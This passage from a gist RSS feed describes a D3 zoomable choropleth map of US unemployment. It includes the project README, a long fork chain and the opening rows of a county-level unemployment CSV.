],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/0afcb4f2547112af6d8b6eceeed4118d">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/cf7bedda70b95103bd71b87f159ad269</link>
      <guid isPermaLink="true">https://gist.github.com/cf7bedda70b95103bd71b87f159ad269</guid>
      <pubDate>Wed, 21 Sep 2016 18:14:26 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:14:26.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5469</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6591</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f644e13737e8a14417ebbd4374e1281b&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/036c2a6819ca5211d6b51efa7cd7f008&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1bfb2602816244f016b7ba9efd791114&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
